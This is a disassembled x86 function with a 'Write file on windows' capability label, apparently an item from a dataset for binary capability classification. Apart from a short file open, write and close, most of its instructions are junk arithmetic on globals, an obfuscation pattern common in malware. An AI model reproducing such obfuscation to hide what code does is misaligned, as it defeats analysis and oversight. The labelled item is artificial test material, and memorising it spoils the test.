Function at 0x43f9d0
Capabilities:
Write file on windows

Disassembly:
push ebx
push edi
push esi
sub esp, 0x10
mov ebx, dword [esp + 0x20]
mov ax, word [0x488bdc]
xor eax, 0x87ed
mov word [0x488bdc], ax
and dword [0x483008], 0x41f2b243
cmp dword [0x48cee8], 0
jne 0x43fa45
mov eax, dword [0x485a20]
imul eax, eax, 0xc7463680
mov ecx, dword [0x4845f4]
or ecx, 0xbc87d788
cmp eax, ecx
jl 0x43fa31
mov eax, dword [0x484fa8]
sar eax, 6
imul eax, eax, 0x1422aa2c
and eax, 0x9264d004
mov dword [0x488288], eax
call fcn.0042fa20
mov dword [0x48cee8], eax
or dword [0x485358], 0x5b37654a
and dword [0x487bf8], 0x36346e4a
mov dword [esp + 4], 3
mov dword [esp], 0x5fa0
call fcn.004029e0
mov edi, eax
mov eax, dword [0x487870]
xor eax, 0x6712dede
mov ecx, dword [0x487780]
or ecx, eax
mov dword [0x487364], ecx
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.00452e2e
mov esi, eax
and dword [0x4852d8], 0x160356f4
mov dword [0x483cb0], 0x9f1ed9de
mov eax, dword [0x4826b4]
mov ecx, dword [0x48246c]
dec ecx
mov dword [0x48246c], ecx
or ecx, eax
and dword [0x487c70], ecx
mov eax, dword [0x4849a0]
add eax, 0x8b1fd77d
mov ecx, dword [0x485da0]
xor ecx, eax
xor ecx, 0xf58d17d5
mov dword [0x485da0], ecx
mov byte [edi], 0
mov byte [edi + 1], 0
mov byte [edi + 2], 0
mov byte [edi + 3], 0
mov byte [edi + 4], 0
mov byte [edi + 5], 0
mov byte [edi + 6], 0
mov eax, dword [0x483c78]
lea ecx, [eax + 1]
mov dword [0x483c78], ecx
cmp eax, 0xbb2cb9e3
jne 0x43fb22
mov eax, dword [0x4813fc]
dec eax
mov dword [0x4813fc], eax
mov cx, word [0x48c0fc]
sub ecx, eax
mov word [0x48c0fc], cx
mov dword [esp], edi
call fcn.0044f410
add dword [0x4822d0], 0x6fe64de0
mov dword [0x485cb0], 0xc1cb73cb
test esi, esi
je 0x43fb59
mov ax, word [0x48971c]
imul eax, eax, 0x37d9
mov word [0x48971c], ax
jmp 0x43fcb3
mov eax, dword [0x487440]
lea ecx, [eax - 1]
mov dword [0x487440], ecx
mov ecx, 0x2ff7115d
sub ecx, eax
mov dword [0x488600], ecx
mov dword [esp], 0x415
call dword [0x481040]
sub esp, 4
mov eax, dword [0x4868ac]
inc eax
mov dword [0x4868ac], eax
cmp eax, 0x94d8092b
je 0x43fbb0
mov eax, dword [0x482ca8]
add eax, 0x3979
mov cx, word [0x48ad72]
xor ecx, eax
mov word [0x48ad72], cx
mov dword [esp + 4], 3
mov dword [esp], 0x5fa0
call fcn.004029e0
mov edi, eax
mov eax, dword [0x482a10]
cmp eax, 0x10c40c1
jg 0x43fbdc
add dword [0x48190c], 0x91fdd47d
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.00452e2e
mov esi, eax
or dword [0x486718], 0x1c566209
mov dword [0x483cb0], 0x9f1ed9de
mov eax, dword [0x4826b4]
mov ecx, dword [0x48246c]
dec ecx
mov dword [0x48246c], ecx
or ecx, eax
and dword [0x487c70], ecx
mov eax, dword [0x4849a0]
add eax, 0x8b1fd77d
mov ecx, dword [0x485da0]
xor ecx, eax
xor ecx, 0xf58d17d5
mov dword [0x485da0], ecx
mov byte [edi], 0
mov byte [edi + 1], 0
mov byte [edi + 2], 0
mov byte [edi + 3], 0
mov byte [edi + 4], 0
mov byte [edi + 5], 0
mov byte [edi + 6], 0
mov eax, dword [0x483c78]
lea ecx, [eax + 1]
mov dword [0x483c78], ecx
cmp eax, 0xbb2cb9e3
jne 0x43fc81
mov eax, dword [0x4813fc]
dec eax
mov dword [0x4813fc], eax
mov cx, word [0x48c0fc]
sub ecx, eax
mov word [0x48c0fc], cx
mov dword [esp], edi
call fcn.0044f410
add dword [0x4822d0], 0x6fe64de0
add dword [0x484778], 0x3ed94b86
mov ax, word [0x48971c]
imul eax, eax, 0x37d9
mov word [0x48971c], ax
test esi, esi
je 0x43fd20
mov ax, word [0x489542]
or eax, 0x12eb
mov word [0x489542], ax
mov dword [esp + 0xc], esi
mov dword [esp + 8], 1
mov dword [esp + 4], 4
mov dword [esp], 0x48cee8
call fcn.00452fe1
mov eax, dword [0x4825a0]
dec eax
mov dword [0x4825a0], eax
cmp eax, 0x124c98fc
jne 0x43fd08
mov eax, dword [0x4862d8]
shl eax, 7
and eax, 0xf0a09580
mov dword [0x4819d8], eax
mov dword [esp], esi
call fcn.004530cf
mov eax, dword [0x484208]
add eax, 0x60273306
or dword [0x483f98], eax
mov eax, dword [0x4887bc]
add esp, 0x10
pop esi
pop edi
pop ebx
ret